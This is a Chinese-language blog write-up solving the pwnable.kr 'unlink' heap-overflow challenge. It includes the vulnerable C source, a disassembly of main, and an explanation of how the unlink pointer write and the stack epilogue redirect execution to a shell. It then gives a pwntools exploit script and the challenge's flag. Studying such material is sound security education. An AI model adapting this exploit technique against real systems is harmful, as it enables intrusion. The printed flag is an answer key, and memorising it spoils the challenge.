堆溢出 pawnable.kr Unlink

题目地址:http://pwnable.kr/play.php

按题目提示连接  ssh unlink@pwnable.kr -p2222 (pw: guest)

ls    发现和之前的题目一样: 三个文件分别是 flag,unlink,unlink.c

先查看unlink.c  源码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
        struct tagOBJ* fd;
        struct tagOBJ* bk;
        char buf[8];
}OBJ;

void shell(){
        system("/bin/sh");
}

void unlink(OBJ* P){
        OBJ* BK;
        OBJ* FD;
        BK=P->bk;
        FD=P->fd;
        FD->bk=BK;
        BK->fd=FD;
}
int main(int argc, char* argv[]){
        malloc(1024);
        OBJ* A = (OBJ*)malloc(sizeof(OBJ));
        OBJ* B = (OBJ*)malloc(sizeof(OBJ));
        OBJ* C = (OBJ*)malloc(sizeof(OBJ));

        // double linked list: A <-> B <-> C
        A->fd = B;
        B->bk = A;
        B->fd = C;
        C->bk = B;

        printf("here is stack address leak: %p\n", &A);
        printf("here is heap address leak: %p\n", A);
        printf("now that you have leaks, get shell!\n");
        // heap overflow!
        gets(A->buf);

        // exploit this unlink!
        unlink(B);
        return 0;
}


很明显是模拟的 Unlink 堆溢出漏洞,和题目一致,不知道这个可以先去看看这篇文章 :http://www.evil0x.com/posts/24617.html


在 gets(A->buf)   处有堆溢出,我们可以通过这个来改写A,B,C的堆空间内容。

重点当然是在unlink上 , unlink(B)做的其实就是将 B 从双向链表中取出来。

在这个双向链表中,fd指向前一个节点,bk指向后一个节点。

unlink() 所作的就是:   

(B->fd)->bk=B->bk

(B->bk)->fd=B->fd

因为 OBJ 结构体的第一个成员就是fd  所以上式  ==   *(*B+4) = *(B+4) 

                                                                                        **(B+4) = *B             

 利用2式  我们可以通过重写B在堆中的 fd 与 bk 可以实现任意内存写入 

在典型的 Unlink 漏洞中是通过重写GOT中  free() 函数的地址为 我们的 shellcode 地址,但是这种方法应该早就被修复了(上面那篇文章中提到了)。

所以我们就只能是修改别的函数的返回值地址 , 下面 

 

objdump -S unlink 

看一下汇编


main() 函数如下 :

 0804852f <main>:
 804852f:	8d 4c 24 04          	lea    0x4(%esp),%ecx
 8048533:	83 e4 f0             	and    $0xfffffff0,%esp
 8048536:	ff 71 fc             	pushl  -0x4(%ecx)
 8048539:	55                   	push   %ebp
 804853a:	89 e5                	mov    %esp,%ebp
 804853c:	51                   	push   %ecx
 804853d:	83 ec 14             	sub    $0x14,%esp
 8048540:	83 ec 0c             	sub    $0xc,%esp
 8048543:	68 00 04 00 00       	push   $0x400
 8048548:	e8 53 fe ff ff       	call   80483a0 <malloc@plt>
 804854d:	83 c4 10             	add    $0x10,%esp
 8048550:	83 ec 0c             	sub    $0xc,%esp
 8048553:	6a 10                	push   $0x10
 8048555:	e8 46 fe ff ff       	call   80483a0 <malloc@plt>
 804855a:	83 c4 10             	add    $0x10,%esp
 804855d:	89 45 ec             	mov    %eax,-0x14(%ebp)
 8048560:	83 ec 0c             	sub    $0xc,%esp
 8048563:	6a 10                	push   $0x10
 8048565:	e8 36 fe ff ff       	call   80483a0 <malloc@plt>
 804856a:	83 c4 10             	add    $0x10,%esp
 804856d:	89 45 f4             	mov    %eax,-0xc(%ebp)
 8048570:	83 ec 0c             	sub    $0xc,%esp
 8048573:	6a 10                	push   $0x10
 8048575:	e8 26 fe ff ff       	call   80483a0 <malloc@plt>
 804857a:	83 c4 10             	add    $0x10,%esp
 804857d:	89 45 f0             	mov    %eax,-0x10(%ebp)
 8048580:	8b 45 ec             	mov    -0x14(%ebp),%eax
 8048583:	8b 55 f4             	mov    -0xc(%ebp),%edx
 8048586:	89 10                	mov    %edx,(%eax)
 8048588:	8b 55 ec             	mov    -0x14(%ebp),%edx
 804858b:	8b 45 f4             	mov    -0xc(%ebp),%eax
 804858e:	89 50 04             	mov    %edx,0x4(%eax)
 8048591:	8b 45 f4             	mov    -0xc(%ebp),%eax
 8048594:	8b 55 f0             	mov    -0x10(%ebp),%edx
 8048597:	89 10                	mov    %edx,(%eax)
 8048599:	8b 45 f0             	mov    -0x10(%ebp),%eax
 804859c:	8b 55 f4             	mov    -0xc(%ebp),%edx
 804859f:	89 50 04             	mov    %edx,0x4(%eax)
 80485a2:	83 ec 08             	sub    $0x8,%esp
 80485a5:	8d 45 ec             	lea    -0x14(%ebp),%eax
 80485a8:	50                   	push   %eax
 80485a9:	68 98 86 04 08       	push   $0x8048698
 80485ae:	e8 cd fd ff ff       	call   8048380 <printf@plt>
 80485b3:	83 c4 10             	add    $0x10,%esp
 80485b6:	8b 45 ec             	mov    -0x14(%ebp),%eax
 80485b9:	83 ec 08             	sub    $0x8,%esp
 80485bc:	50                   	push   %eax
 80485bd:	68 b8 86 04 08       	push   $0x80486b8
 80485c2:	e8 b9 fd ff ff       	call   8048380 <printf@plt>
 80485c7:	83 c4 10             	add    $0x10,%esp
 80485ca:	83 ec 0c             	sub    $0xc,%esp
 80485cd:	68 d8 86 04 08       	push   $0x80486d8
 80485d2:	e8 d9 fd ff ff       	call   80483b0 <puts@plt>
 80485d7:	83 c4 10             	add    $0x10,%esp
 80485da:	8b 45 ec             	mov    -0x14(%ebp),%eax
 80485dd:	83 c0 08             	add    $0x8,%eax
 80485e0:	83 ec 0c             	sub    $0xc,%esp
 80485e3:	50                   	push   %eax
 80485e4:	e8 a7 fd ff ff       	call   8048390 <gets@plt>
 80485e9:	83 c4 10             	add    $0x10,%esp
 80485ec:	83 ec 0c             	sub    $0xc,%esp
 80485ef:	ff 75 f4             	pushl  -0xc(%ebp)
 80485f2:	e8 0d ff ff ff       	call   8048504 <unlink>
 80485f7:	83 c4 10             	add    $0x10,%esp
 80485fa:	b8 00 00 00 00       	mov    $0x0,%eax
 80485ff:	8b 4d fc             	mov    -0x4(%ebp),%ecx
 8048602:	c9                   	leave  
 8048603:	8d 61 fc             	lea    -0x4(%ecx),%esp
 8048606:	c3                   	ret    
 8048607:	66 90                	xchg   %ax,%ax
 8048609:	66 90                	xchg   %ax,%ax
 804860b:	66 90                	xchg   %ax,%ax
 804860d:	66 90                	xchg   %ax,%ax
 804860f:	90                   	nop

可以看到 在栈中 A,B,C 的地址分别为 : 
&A:  -0x14(%ebp)

&B:  -0xc(%ebp)

&C:  -0x10(%ebp)

注意在main()  的最后 :

 80485ff:	8b 4d fc             	mov    -0x4(%ebp),%ecx
 8048602:	c9                   	leave  
 8048603:	8d 61 fc             	lea    -0x4(%ecx),%esp
 8048606:	c3                   	ret    
leave指令的操作为:

   0x01.  将 ebp 中的值给 esp

   0x02.  pop栈中第一个值给 ebp

ret的操作为:

   0x04.  再pop栈中一个值给 tip              在从tip处开始继续执行

   但是在 0x02 和 0x04中有一次修改 esp的机会 (lea -0x4(%ecx),esp),通过修改esp 我们可以实现跳转到我们的  shellcode

   

mov    -0x4(%ebp),%ecx

ecx 的值来源于 -0x4(%ebp) 

也就是说 它会将   %ebp-4 处到值 再减4 ,并跳转过去


所以我们需要将  (shell code 的地址 + 4) 写入 (%ebp-4的内存中)



我们将 shell code  的地址写入 A 的but中

     &A的地址为 ebp - 0x14  

    要写入的地址为  ebp - 0x4

相对于  A的栈地址就是   &A + 0x10

shellcode  的地址相对于 A的 堆地址为 A +8

     

    按照上面推论所说:“将  (shell code 的地址 + 4) 写入 (%ebp-4的内存中)”

也就是将   A+12 的值写入 &A + 0x10的内存中


 
 
+-------------------+-------------------+ <- heap addr[A]
| FD | BK |
+-------------------+-------------------+ <- [A->buf]
| shell addr | AAAA |
+---------------------------------------+
| AAAAAAAA |
+---------------------------------------+ <- [B]
| heap + 12 | stack + 16 |
+-------------------+-------------------+


有关堆的chunk结构有不了解的同学可以 看看这个 :chunk 结构


构造payload 

from pwn import *
e = process('./unlink')
shell_addr = 0x80484eb
e.recvuntil('here is stack address leak: ')
stack_addr = e.recv(10)
e.recvuntil('here is heap address leak: ')
heap_addr = e.recv(9)
stack_addr = int(stack_addr, 16)
heap_addr = int(heap_addr, 16)
target_addr = stack_addr + 0x10 
payload  = p32(shell_addr)
payload += 'A' * 12
payload += p32(heap_addr + 12)
payload += p32(target_addr)
e.sendline(payload)
e.interactive()

flag : conditional_write_what_where_from_unl1nk_explo1t


  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值